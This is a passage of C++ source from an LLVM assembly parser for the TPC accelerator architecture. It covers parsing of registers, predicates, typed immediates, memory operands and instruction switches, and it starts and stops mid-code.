SMLoc S = Parser.getTok().getLoc();\n const AsmToken &Tok = Parser.getTok();\n StringRef OpName = Tok.getString();\n\n unsigned BothDivMod = StringSwitch<unsigned>(OpName.lower())\n .Case(\"both_div_mod\", 2)\n .Default(~0U);\n\n if (BothDivMod != ~0U) {\n Parser.Lex(); // Eat identifier token.\n Operands.push_back(TPCOperand::CreateBothDivMod(\n TPCII::SW_DIV_MODE_BOTH,S, S));\n return MatchOperand_Success;\n } else {\n return MatchOperand_NoMatch;\n }\n }\n\n static std::unique_ptr<TPCOperand> defaultSPredicateOperands() {\n return TPCOperand::CreatePredicate(TPC::SP0, false, false, SMLoc(), SMLoc());\n }\n\n static std::unique_ptr<TPCOperand> defaultRhuOperands() {\n return TPCOperand::CreateRhu(0, SMLoc(), SMLoc());\n }\n\n static std::unique_ptr<TPCOperand> defaultRhazRsOperands() {\n return TPCOperand::CreateRhazRs(0, SMLoc(), SMLoc());\n }\n\n static std::unique_ptr<TPCOperand> defaultBiasedOperands() {\n return TPCOperand::CreateBiased(0, SMLoc(), SMLoc());\n }\n\n enum class MatchCode {\n Ok, // Mnemonic matched successfully.\n Unrecognized, // Mnemonic is not recognized.\n Failed // Error detected.\n };\n\n MatchCode MatchSlotInstruction(SMLoc IDLoc,\n OperandVector &Operands,\n MCInst &Inst,\n uint64_t &ErrorInfo,\n bool MatchingInlineAsm,\n MCStreamer &Out,\n SlotParser Slot);\n\n\n bool Error(SMLoc L, const Twine &Msg, SMRange Range = None,\n bool MatchingInlineAsm = false) {\n MCAsmParser &Parser = getParser();\n if (MatchingInlineAsm) {\n if (!getLexer().isAtStartOfStatement())\n eatToEndOfLine();\n return false;\n }\n bool Result = Parser.Error(L, Msg, Range);\n eatToEndOfLine();\n CurrentSlot = SlotParser::Unknown;\n // Avoid unfinished bundles.\n Bundle.clear();\n Bundle.setOpcode(0);\n Bundle.setLoc(SMLoc());\n\n return Result;\n }\n\n MCInst *getNOP(SlotParser Slot, SMLoc Loc);\n MCInst *getHALT(SlotParser Slot, SMLoc Loc);\n\n bool canLastArgBeAPredicate(StringRef Mnemonic, const OperandVector &Operands,\n bool AlreadyParsed = false);\n void eatToEndOfLine();\n void onEndOfStatement() override {\n if (!NewAsmFormat) {\n CurrentSlot = SlotParser::Unknown;\n }\n }\n\n bool adjustLongRegister(OperandVector &Operands);\n unsigned convertToLongReg(unsigned RegNo, LongRegisterKind Kind);\n bool replaceRegisterWithLong(OperandVector &Operands, unsigned RegOpNum,\n LongRegisterKind Kind);\n void initBundle(SMLoc Loc);\n void outputBundle(MCStreamer &Out, SMLoc IDLoc, bool UseStreamer);\n\n bool parseTPCMetadata();\n bool parseTPCMetadataArrayField(std::bitset<TPCNumTensors>& SetIndexes,\n const TPCMetadataFieldInfo& FieldInfo);\n bool parseTPCMetadataTypeDirective(unsigned ExpectedSize);\n\n bool parseIndexMap();\npublic:\n bool ParseRegister(unsigned &RegNo, SMLoc &StartLoc, SMLoc &EndLoc) override;\n bool ParseImmediate(const MCExpr *&Val, SMLoc &StartLoc, SMLoc &EndLoc);\n bool ParseInstruction(ParseInstructionInfo &Info, StringRef Name,\n SMLoc NameLoc, OperandVector &Operands) override;\n bool ParseDirective(AsmToken DirectiveID) override;\n bool MatchAndEmitInstruction(SMLoc IDLoc, unsigned &Opcode,\n OperandVector &Operands, MCStreamer &Out,\n uint64_t &ErrorInfo,\n bool MatchingInlineAsm) override;\n // May call several times in some situation.\n // See RC99/asm/compare/aso-01.s\n void flushPendingInstructions(MCStreamer &Out) override;\n\n};\n} // end anonymous namespace\n\n\n#define GET_REGISTER_MATCHER\n#define GET_SUBTARGET_FEATURE_NAME\n#define GET_MATCHER_IMPLEMENTATION\n#include \"TPCGenAsmMatcher.inc\"\n\n\nstatic bool isDimMask(StringRef Identifier) {\n if (Identifier.startswith(\"b\")) {\n StringRef Remainder = Identifier.drop_front(1);\n if (Remainder.find_first_not_of(\"01\") == StringRef::npos)\n return true;\n }\n return false;\n}\n\nbool TPCAsmParser::ParseRegister(unsigned &RegNo, SMLoc &StartLoc, SMLoc &EndLoc) {\n MCAsmParser &Parser = getParser();\n RegNo = 0;\n\n const AsmToken &Tok = Parser.getTok();\n StartLoc = Tok.getLoc();\n EndLoc = Tok.getEndLoc();\n\n if (Tok.isNot(AsmToken::Identifier))\n return Error(StartLoc, \"invalid register name\", SMRange(StartLoc, EndLoc));\n RegNo = MatchRegisterName(Tok.getString());\n\n // If the match failed, try the register name as lowercase.\n if (RegNo == 0)\n RegNo = MatchRegisterName(Tok.getString().lower());\n\n EndLoc = Parser.getTok().getEndLoc();\n\n if (RegNo == 0) {\n return Error(StartLoc, \"invalid register name\",\n SMRange(StartLoc, EndLoc));\n }\n\n Parser.Lex(); // Eat identifier token.\n return false;\n}\n\nbool TPCAsmParser::ParseImmediate(const MCExpr *&Val, SMLoc &StartLoc, SMLoc &EndLoc) {\n MCAsmParser &Parser = getParser();\n Val = 0;\n const AsmToken &PercentTok = Parser.getTok();\n StartLoc = PercentTok.getLoc();\n const AsmToken &Tok = Parser.getTok();\n EndLoc = Tok.getEndLoc();\n\n if (!getParser().parseExpression(Val, StartLoc))\n return false;\n\n return Error(StartLoc, \"invalid immediate value\", SMRange(StartLoc, EndLoc));\n}\n\n\nOperandMatchResultTy TPCAsmParser::parsePredicate(OperandVector &Operands) {\n SMLoc StartLoc = Lexer.getTok().getLoc();\n\n // Optional '!'.\n bool Inversion = false;\n if (Lexer.getTok().is(AsmToken::Exclaim)) {\n Inversion = true;\n Parser.Lex();\n }\n\n // If '!' is encountered, it must be a predicate, otherwise it is an error.\n OperandMatchResultTy FailResult = Inversion ? MatchOperand_ParseFail\n : MatchOperand_NoMatch;\n\n // Register name.\n AsmToken RegisterTok = Lexer.getTok();\n SMLoc EndLoc = RegisterTok.getEndLoc();\n\n if (RegisterTok.isNot(AsmToken::Identifier)) {\n if (FailResult == MatchOperand_ParseFail) {\n Parser.Lex();\n Error(StartLoc, \"expected predicate register\", SMRange(StartLoc, EndLoc));\n }\n return FailResult;\n }\n\n unsigned RegNo = MatchRegisterName(RegisterTok.getString());\n // If the match failed, try the register name as lowercase.\n if (RegNo == 0)\n RegNo = MatchRegisterName(RegisterTok.getString().lower());\n\n if (RegNo == 0) {\n if (FailResult == MatchOperand_ParseFail) {\n Parser.Lex();\n Error(StartLoc, \"expected predicate register\", SMRange(StartLoc, EndLoc));\n }\n return FailResult;\n }\n\n bool IsVectopPred = VPRegClass.contains(RegNo);\n if (!SPRegClass.contains(RegNo) && !IsVectopPred) {\n if (FailResult == MatchOperand_ParseFail) {\n Parser.Lex();\n Error(StartLoc, \"expected predicate register\", SMRange(StartLoc, EndLoc));\n }\n return FailResult;\n }\n\n // If the last operand is a predicate register, it can define a predicate or\n // be a source.\n if (!Inversion) {\n TPCOperand &Op = static_cast<TPCOperand &>(*Operands[0]);\n assert(Op.isToken() && \"Leading operand should always be a mnemonic!\");\n StringRef Mnemonic = Op.getToken();\n if (!canLastArgBeAPredicate(Mnemonic, Operands))\n return MatchOperand_NoMatch;\n }\n\n Parser.Lex();\n Operands.push_back(\n TPCOperand::CreatePredicate(RegNo, Inversion,\n getPredicateKind(RegNo) == VectorPredicate,\n StartLoc, EndLoc));\n return MatchOperand_Success;\n}\n\n\nOperandMatchResultTy TPCAsmParser::parseComparison(OperandVector &Operands) {\n const AsmToken &Tok = Lexer.getTok();\n\n LoopCompare Result;\n if (Tok.is(AsmToken::Greater))\n Result = LoopCompare::GT;\n else if (Tok.is(AsmToken::GreaterEqual))\n Result = LoopCompare::GE;\n else if (Tok.is(AsmToken::Less))\n Result = LoopCompare::LT;\n else if (Tok.is(AsmToken::LessEqual))\n Result = LoopCompare::LE;\n else if (Tok.is(AsmToken::EqualEqual))\n Result = LoopCompare::EQ;\n else if (Tok.is(AsmToken::ExclaimEqual))\n Result = LoopCompare::NE;\n else\n return MatchOperand_NoMatch;\n\n SMLoc StartLoc = Tok.getLoc();\n SMLoc EndLoc = Tok.getEndLoc();\n Parser.Lex();\n Operands.push_back(TPCOperand::CreateComparison(Result, StartLoc, EndLoc));\n return MatchOperand_Success;\n}\n\n\nOperandMatchResultTy TPCAsmParser::parseRegister(OperandVector &Operands) {\n MCAsmParser &Parser = getParser();\n const AsmToken &Tok = Parser.getTok();\n if (Tok.isNot(AsmToken::Identifier))\n return MatchOperand_NoMatch;\n\n StringRef IdValue = Tok.getString();\n unsigned RegNo = MatchRegisterName(IdValue.upper());\n if (RegNo == 0) {\n if (IdValue.startswith_lower(\"d\") || IdValue.startswith_lower(\"a\")) {\n StringRef Number = IdValue.drop_front(1);\n if (Number.consumeInteger(10, RegNo))\n return MatchOperand_NoMatch;\n if (!Number.empty())\n return MatchOperand_NoMatch;\n if (IdValue.startswith_lower(\"d\")) {\n if (RegNo % 2) {\n Error(Tok.getLoc(), \"Pair of registers must start with register of even number\", SMRange(Tok.getLoc(), Tok.getEndLoc()));\n Parser.Lex();\n return MatchOperand_ParseFail;\n }\n } else {\n if (RegNo % 4) {\n Error(Tok.getLoc(), \"Quad of registers must start with register which number is a multiple of 4\", SMRange(Tok.getLoc(), Tok.getEndLoc()));\n Parser.Lex();\n return MatchOperand_ParseFail;\n }\n }\n }\n return MatchOperand_NoMatch;\n }\n\n SMLoc StartLoc = Tok.getLoc();\n SMLoc EndLoc = Tok.getEndLoc();\n int RegClassNo = -1;\n for (int ClsId : { TPC::SRFRegClassID, TPC::SPRFRegClassID,\n TPC::VRFRegClassID, TPC::VPRFRegClassID, TPC::ADRFRegClassID, TPC::IRFRegClassID,\n TPC::DRFRegClassID, TPC::ARFRegClassID, TPC::ZRFRegClassID })\n if (MRI->getRegClass(ClsId).contains(RegNo)) {\n RegClassNo = ClsId;\n break;\n }\n Parser.Lex();\n Operands.push_back(TPCOperand::CreateReg(RegNo, RegClassNo, StartLoc, EndLoc));\n return MatchOperand_Success;\n}\n\n\nOperandMatchResultTy TPCAsmParser::parseNumber(OperandVector &Operands) {\n AsmToken Sign = Lexer.getTok();\n SMLoc StartLoc = Sign.getLoc();\n\n bool Negative = false;\n if (Sign.is(AsmToken::Minus)) {\n Negative = true;\n consumeToken();\n } else if(Sign.is(AsmToken::Plus)) {\n consumeToken();\n }\n\n AsmToken Number = Lexer.getTok();\n SMLoc EndLoc = Number.getEndLoc();\n if (Number.isNot(AsmToken::Integer) && Number.isNot(AsmToken::Real)) {\n if (Negative)\n Lexer.UnLex(Sign);\n return MatchOperand_NoMatch;\n }\n consumeToken();\n\n StringRef Digits = Number.getString();\n if (Number.is(AsmToken::Integer)) {\n long long Value;\n if (consumeSignedInteger(Digits, 0, Value)) {\n Error(StartLoc, \"invalid number\", SMRange(StartLoc, EndLoc));\n Operands.push_back(std::unique_ptr<TPCOperand>());\n return MatchOperand_ParseFail;\n } else {\n // Parse the suffix for integer type.\n // 'u' and 'U' supported\n const AsmToken &Suffix = Lexer.getTok();\n if (Suffix.is(AsmToken::Identifier) &&\n Suffix.getString().compare_lower(\"u\") == 0 &&\n (Suffix.getLoc().getPointer() - EndLoc.getPointer()) == 0) {\n consumeToken();\n EndLoc = Suffix.getEndLoc();\n if(Negative){\n Error(Suffix.getLoc(), \"the invalid suffix for a negative integer\",\n SMRange(StartLoc, EndLoc));\n Operands.push_back(std::unique_ptr<TPCOperand>());\n return MatchOperand_ParseFail;\n }\n }\n Operands.push_back(TPCOperand::CreateImm(Negative ? -Value : Value,\n StartLoc, EndLoc));\n }\n } else {\n // Parse the suffix for a floating type\n const AsmToken Suffix = Lexer.getTok();\n const fltSemantics *Semantics = &APFloat::IEEEsingle();\n if (Suffix.is(AsmToken::Identifier) &&\n Suffix.getLoc().getPointer() - EndLoc.getPointer() == 0) {\n EndLoc = Suffix.getEndLoc();\n consumeToken();\n const StringRef& SuffixStr = Suffix.getString();\n if(SuffixStr.compare_lower(\"f\") == 0) {\n } else if(SuffixStr.compare_lower(\"h\") == 0) {\n Semantics = &APFloat::IEEEhalf();\n } else if(SuffixStr.compare_lower(\"bf\") == 0) {\n Semantics = &APFloat::BFloat16();\n } else {\n Error(Suffix.getLoc(), \"invalid suffix for real number\",\n SMRange(StartLoc, EndLoc));\n Operands.push_back(std::unique_ptr<TPCOperand>());\n return MatchOperand_ParseFail;\n }\n }\n\n APFloat BinValue(APFloat::IEEEsingle());\n Expected<APFloat::opStatus> CvtStatus =\n BinValue.convertFromString(Digits, APFloat::rmNearestTiesToEven);\n if (!CvtStatus)\n Error(StartLoc, \"Error on converting number from the string\",\n SMRange(StartLoc, EndLoc));\n APFloat::opStatus Status = *CvtStatus;\n if (Status == APFloat::opOK || Status == APFloat::opInexact) {\n if (Negative)\n BinValue.changeSign();\n bool LoosesInfo;\n Status = BinValue.convert(*Semantics,\n APFloat::rmNearestTiesToEven,\n &LoosesInfo);\n if (Status == APFloat::opOK || Status == APFloat::opInexact)\n Operands.push_back(\n TPCOperand::CreateImm(BinValue.bitcastToAPInt().getLimitedValue(),\n StartLoc, EndLoc));\n }\n\n if (Status & APFloat::opUnderflow) {\n Error(StartLoc, \"Type underflow\", SMRange(StartLoc, EndLoc));\n Operands.push_back(std::unique_ptr<TPCOperand>());\n return MatchOperand_ParseFail;\n } else if (Status & APFloat::opOverflow) {\n Error(StartLoc, \"Type overflow\", SMRange(StartLoc, EndLoc));\n Operands.push_back(std::unique_ptr<TPCOperand>());\n return MatchOperand_ParseFail;\n } else if (Status & APFloat::opInvalidOp) {\n assert(false);\n }\n }\n\n return MatchOperand_Success;\n}\n\n\nOperandMatchResultTy TPCAsmParser::parseImmediate(OperandVector &Operands) {\n const AsmToken &Tok = Lexer.getTok();\n SMLoc StartLoc = Tok.getLoc();\n SMLoc EndLoc = Tok.getEndLoc();\n\n if (Tok.is(AsmToken::Integer) || Tok.is(AsmToken::Real) ||\n Tok.is(AsmToken::Minus) || Tok.is(AsmToken::Plus))\n return parseNumber(Operands);\n\n if (Tok.isNot(AsmToken::Identifier))\n return MatchOperand_NoMatch;\n\n StringRef Identifier = Tok.getString();\n\n // u32_12, i32_-11, u16_, i16_, i8_, u8_, f32_, f16_\n bool IsUnsigned = Identifier.startswith_lower(\"u\");\n bool IsSigned = Identifier.startswith_lower(\"i\");\n bool IsFloat = Identifier.startswith_lower(\"f\");\n bool IsBFloat16 = Identifier.startswith_lower(\"bf\");\n if (!IsUnsigned && !IsSigned && !IsFloat && !IsBFloat16)\n return MatchOperand_NoMatch;\n\n StringRef Remainder = Identifier.drop_front(IsBFloat16 ? 2 : 1);\n unsigned BitWidth = 0;\n if (Remainder.startswith(\"32_\")) {\n if (IsBFloat16)\n return MatchOperand_NoMatch;\n BitWidth = 32;\n Remainder = Remainder.drop_front(3);\n } else if (Remainder.startswith(\"16_\")) {\n if (IsFloat)\n return MatchOperand_NoMatch;\n BitWidth = 16;\n Remainder = Remainder.drop_front(3);\n } else if (Remainder.startswith(\"8_\")) {\n if (IsFloat || IsBFloat16)\n return MatchOperand_NoMatch;\n BitWidth = 8;\n Remainder = Remainder.drop_front(2);\n }\n if (!BitWidth)\n return MatchOperand_NoMatch;\n\n if (IsFloat || IsBFloat16) {\n // TODO: ammend identifier with fractional/exponential part.\n double Value;\n if (Remainder.getAsDouble(Value))\n return MatchOperand_NoMatch;\n consumeToken(); // No rollbacks anymore.\n const fltSemantics &FSem =\n (BitWidth == 32)\n ? APFloat::IEEEsingle()\n : (IsBFloat16 ? APFloat::BFloat16() : APFloat::IEEEhalf());\n APFloat BinValue(Value);\n bool LoosesInfo;\n auto Status = BinValue.convert(FSem,\n APFloat::rmNearestTiesToEven, &LoosesInfo);\n if (Status != APFloat::opOK && Status != APFloat::opInexact) {\n Error(StartLoc, \"invalid number\", SMRange(StartLoc, EndLoc));\n Operands.push_back(std::unique_ptr<TPCOperand>());\n return MatchOperand_ParseFail;\n }\n APInt IntVal = BinValue.bitcastToAPInt();\n assert(IntVal.getBitWidth() == BitWidth);\n Operands.push_back(\n TPCOperand::CreateImm(IntVal.getLimitedValue(),\n Tok.getLoc(), Tok.getEndLoc()));\n return MatchOperand_Success;\n }\n if (IsUnsigned) {\n // Unsigned constants may be specified by hexadecimal notation.\n unsigned Radix = 10;\n if (Remainder.front() == 'x' || Remainder.front() == 'X') {\n Radix = 16;\n Remainder = Remainder.drop_front(1);\n }\n unsigned Value;\n if (Remainder.consumeInteger(Radix, Value))\n return MatchOperand_NoMatch;\n consumeToken(); // No rollbacks anymore.\n Operands.push_back(\n TPCOperand::CreateImm(Value, Tok.getLoc(), Tok.getEndLoc()));\n return MatchOperand_Success;\n }\n\n // Signed number is allowed to have minus sign, like i32_-12. Such constants\n // are composed of several tokens.\n if (Remainder.empty()) {\n consumeToken(); // No rollbacks anymore.\n return parseNumber(Operands);\n }\n\n // Signed constants may be specified by hexadecimal notation, if they are not\n // started with minus.\n unsigned Radix = 10;\n if (Remainder.front() == 'x' || Remainder.front() == 'X') {\n Radix = 16;\n Remainder = Remainder.drop_front(1);\n }\n long long Value;\n if (consumeSignedInteger(Remainder, Radix, Value))\n return MatchOperand_NoMatch;\n consumeToken(); // No rollbacks anymore.\n\n Operands.push_back(TPCOperand::CreateImm(Value, Tok.getLoc(), Tok.getEndLoc()));\n return MatchOperand_Success;\n}\n\n\nOperandMatchResultTy TPCAsmParser::parseMemRI(OperandVector &Operands) {\n // TODO: check expression?\n OperandMatchResultTy Result = parseImmediate(Operands);\n if (Result != MatchOperand_Success)\n return Result;\n\n // TODO: to make this method a checker, we must implement token stream rollback.\n AsmToken CommaTok = Lexer.getTok();\n if (CommaTok.isNot(AsmToken::Comma))\n return MatchOperand_ParseFail;\n consumeToken();\n\n Result = parseRegister(Operands);\n if (Result != MatchOperand_Success)\n return MatchOperand_ParseFail;\n\n // Swap the last two operands.\n unsigned Size = Operands.size();\n assert(Size >= 2);\n auto RegOperand = std::move(Operands[Size - 1]);\n auto ImmOperand = std::move(Operands[Size - 2]);\n Operands.pop_back();\n Operands.pop_back();\n Operands.push_back(TPCOperand::CreateMemRI(\n static_cast<TPCOperand *>(RegOperand.get())->getReg(),\n static_cast<TPCOperand *>(ImmOperand.get())->getImm(),\n ImmOperand->getStartLoc(),\n RegOperand->getEndLoc()));\n\n return MatchOperand_Success;\n}\n\n\nTPCAsmParser::SwitchParseState TPCAsmParser::processSwitch(\n StringRef Switch, SlotParser Slot, StringRef Mnemonic, StringRef Value,\n OperandVector &Operands, SMLoc Start, SMLoc End) {\n // Skip dimmask operand. Although it has a record in switch database, that\n // record is only for disassembler.\n if (isDimMask(Switch))\n return SwitchParseState::Unknown;\n\n TPCII::OpType Type = TPCII::OpType::Invalid;\n if (Operands.size() > 1) {\n const TPCOperand *DT = static_cast<const TPCOperand *>(Operands[1].get());\n if (DT->isDataType())\n Type = DT->getDataType();\n }\n unsigned SwitchPos = (Type == TPCII::OpType::Invalid) ? 1 : 2;\n if (SwitchPos >= Operands.size() ||\n !static_cast<const TPCOperand *>(Operands[SwitchPos].get())->isSwitchSet())\n return SwitchParseState::Unknown;\n TPCOperand &SwitchSetOp = static_cast<TPCOperand &>(*Operands[SwitchPos]);\n unsigned ExistingSwitches = SwitchSetOp.getSwitchSet();\n std::vector<std::string> &SwitchNames = SwitchSetOp.getSwitchNames();\n\n bool IsUnknown;\n std::string Msg = TPCII::incorporateSwitch(Switch, Value, Mnemonic, Slot, Type,\n /*IsSuffix*/false, IsUnknown, ExistingSwitches,\n SwitchNames);\n if (!Msg.empty()) {\n Error(Start, Msg, SMRange(Start, End));\n return SwitchParseState::Error;\n }\n\n SwitchSetOp.setSwitchSet(ExistingSwitches);\n return SwitchParseState::Ok;\n}\n\n\nstatic StringRef getSwitchForIntegerOperand(OperandVector &Operands, StringRef Mnemonic) {\n if (Mnemonic.equals(\"popcnt\") && Operands.size() == 3) // text, datatype, switch\n return \"set\";\n if (Mnemonic.equals(\"find_first\") && Operands.size() == 3) // text, datatype, switch\n return \"set\";\n if (Mnemonic.equals(\"get_lut_entry_and_interval_start\") && Operands.size() == 6) // text, datatype, dest, src, shift, switch\n return \"funcid\";\n return StringRef();\n}\n\nOperandMatchResultTy TPCAsmParser::parseOperand(OperandVector &Operands, StringRef Mnemonic) {\n const AsmToken &Tok = Lexer.getTok();\n SMLoc StartLoc = Tok.getLoc();\n SMLoc EndLoc = Tok.getEndLoc();\n\n OperandMatchResultTy ResTy = MatchOperandParserImpl(Operands, Mnemonic);\n\n // If there wasn't a custom match, try the generic matcher below. Otherwise,\n // there was a match, but an error occurred, in which case, just return that\n // the operand parsing failed.\n if (ResTy == MatchOperand_Success || ResTy == MatchOperand_ParseFail)\n return ResTy;\n\n if(Tok.is(AsmToken::BigNum)) {\n Error(StartLoc, \"Type overflow\", SMRange(StartLoc, EndLoc));\n Operands.push_back(std::unique_ptr<TPCOperand>());\n return MatchOperand_ParseFail;\n }\n\n if (Tok.is(AsmToken::Integer) || Tok.is(AsmToken::Real)) {\n StringRef SwitchGroup = getSwitchForIntegerOperand(Operands, Mnemonic);\n if (!SwitchGroup.empty()) {\n StringRef Identifier = Tok.getString();\n switch (processSwitch(SwitchGroup, CurrentSlot, Mnemonic, Identifier, Operands, StartLoc, EndLoc)) {\n case SwitchParseState::Ok:\n consumeToken();\n return MatchOperand_Success;\n case SwitchParseState::Error:\n return MatchOperand_ParseFail;\n case SwitchParseState::Unknown:\n return MatchOperand_NoMatch;\n }\n }\n }\n\n ResTy = parseImmediate(Operands);\n if (ResTy == MatchOperand_Success || ResTy == MatchOperand_ParseFail)\n return ResTy;\n\n // !SP1\n if (Tok.is(AsmToken::Exclaim)) {\n consumeToken();\n unsigned RegNo;\n if (!ParseRegister(RegNo, StartLoc, EndLoc)) {\n PredicateKind PredKind = getPredicateKind(RegNo);\n if (getPredicateKind(RegNo) == NotAPredicate) {\n Error(StartLoc, \"expected predicate register\", SMRange(StartLoc, EndLoc));\n Operands.push_back(std::unique_ptr<TPCOperand>());\n return MatchOperand_ParseFail;\n }\n Operands.push_back(TPCOperand::CreatePredicate(RegNo, true, PredKind == VectorPredicate, StartLoc, EndLoc));\n return MatchOperand_Success;\n } else {\n Error(StartLoc, \"expected predicate register\", SMRange(StartLoc, EndLoc));\n Operands.push_back(std::unique_ptr<TPCOperand>());\n return MatchOperand_ParseFail;\n }\n }\n\n if (Tok.is(AsmToken::Identifier)) {\n StringRef Identifier = Tok.getString();\n StringRef SwitchValue;\n\n // Register.\n if (parseRegister(Operands) == MatchOperand_Success)\n return MatchOperand_Success;\n\n // If identifier is followed by '=' sign, it is a switch.\n AsmToken IdentifierTok = Tok;\n consumeToken();\n if (Tok.is(AsmToken::Equal)) {\n consumeToken();\n if (Tok.is(AsmToken::Identifier) || Tok.is(AsmToken::Integer)) {\n SwitchValue = Tok.getString();\n EndLoc = Tok.getEndLoc();\n consumeToken();\n } else {\n Error(StartLoc, \"expected integer number or identifier\", SMRange(Tok.getLoc(), Tok.getEndLoc()));\n Operands.push_back(std::unique_ptr<TPCOperand>());\n return MatchOperand_ParseFail;\n }\n }\n\n // Try parsing identifier as switch.\n switch (processSwitch(Identifier, CurrentSlot, Mnemonic, SwitchValue, Operands, StartLoc, EndLoc)) {\n case SwitchParseState::Ok:\n return MatchOperand_Success;\n case SwitchParseState::Error:\n Operands.push_back(std::unique_ptr<TPCOperand>());\n return MatchOperand_ParseFail;\n default:\n break;\n }\n if (!SwitchValue.empty()) {\n Error(StartLoc, \"cannot parse as a switch\", SMRange(StartLoc, EndLoc));\n Operands.push_back(std::unique_ptr<TPCOperand>());\n return MatchOperand_ParseFail;\n }\n\n Lexer.UnLex(IdentifierTok);\n\n // b11001\n if (isDimMask(Identifier)) {\n consumeToken();\n StringRef Remainder = Identifier.drop_front(1);\n if (Remainder.size() > 5) {\n Error(StartLoc, \"too long dimmask\", SMRange(StartLoc, EndLoc));\n Operands.push_back(std::unique_ptr<TPCOperand>());\n return MatchOperand_ParseFail;\n }\n if (Remainder.size() < 5) {\n Error(StartLoc, \"too short dimmask\", SMRange(StartLoc, EndLoc));\n Operands.push_back(std::unique_ptr<TPCOperand>());\n return MatchOperand_ParseFail;\n }\n unsigned Value;\n if (Remainder.consumeInteger(2, Value)) {\n Error(StartLoc, \"invalid number\", SMRange(StartLoc, EndLoc));\n Operands.push_back(std::unique_ptr<TPCOperand>());\n return MatchOperand_ParseFail;\n }\n Operands.push_back(TPCOperand::CreateDimMask(Value, StartLoc, EndLoc));\n return MatchOperand_Success;\n }\n\n // Generic integer expression.\n const MCExpr *Expr;\n SMLoc NewEndLoc;\n if (getParser().parseExpression(Expr, NewEndLoc))\n return MatchOperand_ParseFail;\n Operands.push_back(TPCOperand::CreateImm(Expr, StartLoc, NewEndLoc));\n return MatchOperand_Success;\n }\n\n // Immediate\n if (getLexer().is(AsmToken::Integer)) {\n const MCExpr *Val;\n if (!ParseImmediate(Val, StartLoc, EndLoc))\n Operands.push_back(TPCOperand::CreateImm(Val, StartLoc, EndLoc));\n return MatchOperand_Success;\n }\n\n Error(StartLoc, \"unrecognized operand\", SMRange(StartLoc, EndLoc));\n Operands.push_back(std::unique_ptr<TPCOperand>());\n return MatchOperand_ParseFail;\n}\n\n\nstatic TPCII::OpType parseDataTypeSuffix(StringRef Suffix) {\n return StringSwitch<TPCII::OpType>(Suffix)\n .CaseLower(\"f32\", TPCII::OpType::FP32)\n .CaseLower(\"bf16\", TPCII::OpType::BF16)\n .CaseLower(\"i32\", TPCII::OpType::INT32)\n .CaseLower(\"u32\", TPCII::OpType::UINT32)\n .CaseLower(\"i8\", TPCII::OpType::INT8)\n .CaseLower(\"u8\", TPCII::OpType::UINT8)\n .CaseLower(\"b\", TPCII::OpType::BOOL)\n .CaseLower(\"i16\", TPCII::OpType::INT16)\n .CaseLower(\"u16\", TPCII::OpType::UINT16)\n .CaseLower(\"i4\", TPCII::OpType::INT4)\n .CaseLower(\"u4\", TPCII::OpType::UINT4)\n .CaseLower(\"f16\", TPCII::OpType::FP16)\n .CaseLower(\"f8_143\", TPCII::OpType::FP8_143)\n .CaseLower(\"f8_152\", TPCII::OpType::FP8_152)\n .Default(TPCII::OpType::Invalid);\n}\n\n// Checks if the instruction represented by the given mnemonic needs datatype\n// as a part of its mnemonic, which is used in parsing. It does not define if\n// datatype is also represented as an operand.\nstatic bool keepDataTypeInMnemonic(StringRef Mnemonic, SlotParser Slot, const FeatureBitset& Features) {\n if (Mnemonic.equals_lower(\"mac\") && Slot == SlotParser::Vector)\n return true;\n if (Mnemonic.equals_lower(\"madd\") && Slot == SlotParser::Vector)\n return true;\n if (Mnemonic.equals_lower(\"mul\") && Slot == SlotParser::Vector)\n return true;\n return false;\n}\n\n\n// Checks if the instruction represented by the given mnemonic needs datatype\n// as an operand.\nstatic bool needDataTypeAsOperand(StringRef Mnemonic, SlotParser Slot, const FeatureBitset& Features) {\n if (Mnemonic.startswith_lower(\"gen_addr\"))\n return false;\n return true;\n}\n\n\nbool TPCAsmParser::parseAsSeparateSwitch(\n StringRef Switch, StringRef Mnemonic, SMRange Range,\n OperandVector &Operands, unsigned SwitchValue,\n TPCOperand *SpecialOperand) {\n TPCOperand *TempOperand = nullptr;\n\n bool Result = false;\n if (CurrentSlot == SlotParser::Scalar) {\n if (Switch.equals_lower(\"div_mod\") &&\n (SwitchValue & TPCII::SW_DIV_MODE_BOTH)) {\n auto BothDivMode = TPCOperand::CreateBothDivMod(\n TPCII::SW_DIV_MODE_BOTH, Range.Start, Range.End);\n TempOperand = BothDivMode.get();\n Operands.insert(Operands.begin() + 3, std::move(BothDivMode));\n Result = true;\n }\n } else if (CurrentSlot == SlotParser::Vector) {\n if ((Mnemonic.equals_lower(\"mac\") || Mnemonic.equals_lower(\"add\") ||\n Mnemonic.equals_lower(\"sub\") || Mnemonic.equals_lower(\"madd\") ||\n Mnemonic.equals_lower(\"mul\")) &&\n (Switch.equals_lower(\"acc_fp32\") || Switch.equals_lower(\"acc_i16\"))) {\n auto Accumulator = TPCOperand::CreateAccumulator(Range.Start, Range.End);\n TempOperand = Accumulator.get();\n Operands.insert(Operands.begin() + 3, std::move(Accumulator));\n Result = true;\n } else if (Switch.equals_lower(\"rhaz_rs\")) {\n auto Rhaz = TPCOperand::CreateRhazRs(1, Range.Start, Range.End);\n TempOperand = Rhaz.get();\n Operands.insert(Operands.begin() + 3, std::move(Rhaz));\n Result = true;\n } else if (Switch.equals_lower(\"x2\") && (\n Mnemonic.equals_lower(\"add\") ||\n Mnemonic.equals_lower(\"sub\") ||\n Mnemonic.equals_lower(\"madd\"))) {\n auto X2 = TPCOperand::CreateX2(TPCII::SW_X2_ARITHMETIC,\n Range.Start, Range.End);\n TempOperand = X2.get();\n Operands.insert(Operands.begin() + 3, std::move(X2));\n Result = true;\n } else if (((Switch.equals_lower(\"mdg_type\") &&\n (SwitchValue & TPCII::SW_MDG_TYPE_MASK) ==\n TPCII::SW_MDG_TYPE_ALL) ||\n Switch.equals_lower(\"all\")) &&\n Mnemonic.equals_lower(\"mov_dg\")) {\n auto MovDGAll = TPCOperand::CreateMovDGAll(TPCII::SW_MDG_TYPE_ALL,\n Range.Start, Range.End);\n TempOperand = MovDGAll.get();\n Operands.insert(Operands.begin() + 1, std::move(MovDGAll));\n } else if (((Switch.equals_lower(\"mdg_type\") &&\n (SwitchValue & TPCII::SW_MDG_TYPE_MASK) ==\n TPCII::SW_MDG_TYPE_PACK) ||\n Switch.equals_lower(\"pack\")) &&\n Mnemonic.equals_lower(\"mov_dg\")){\n auto MovDGPack = TPCOperand::CreateMovDGPack(TPCII::SW_MDG_TYPE_PACK,\n Range.Start, Range.End);\n TempOperand = MovDGPack.get();\n Operands.insert(Operands.begin() + 1, std::move(MovDGPack));\n } else if (Switch.equals_lower(\"mdg_type\") &&\n 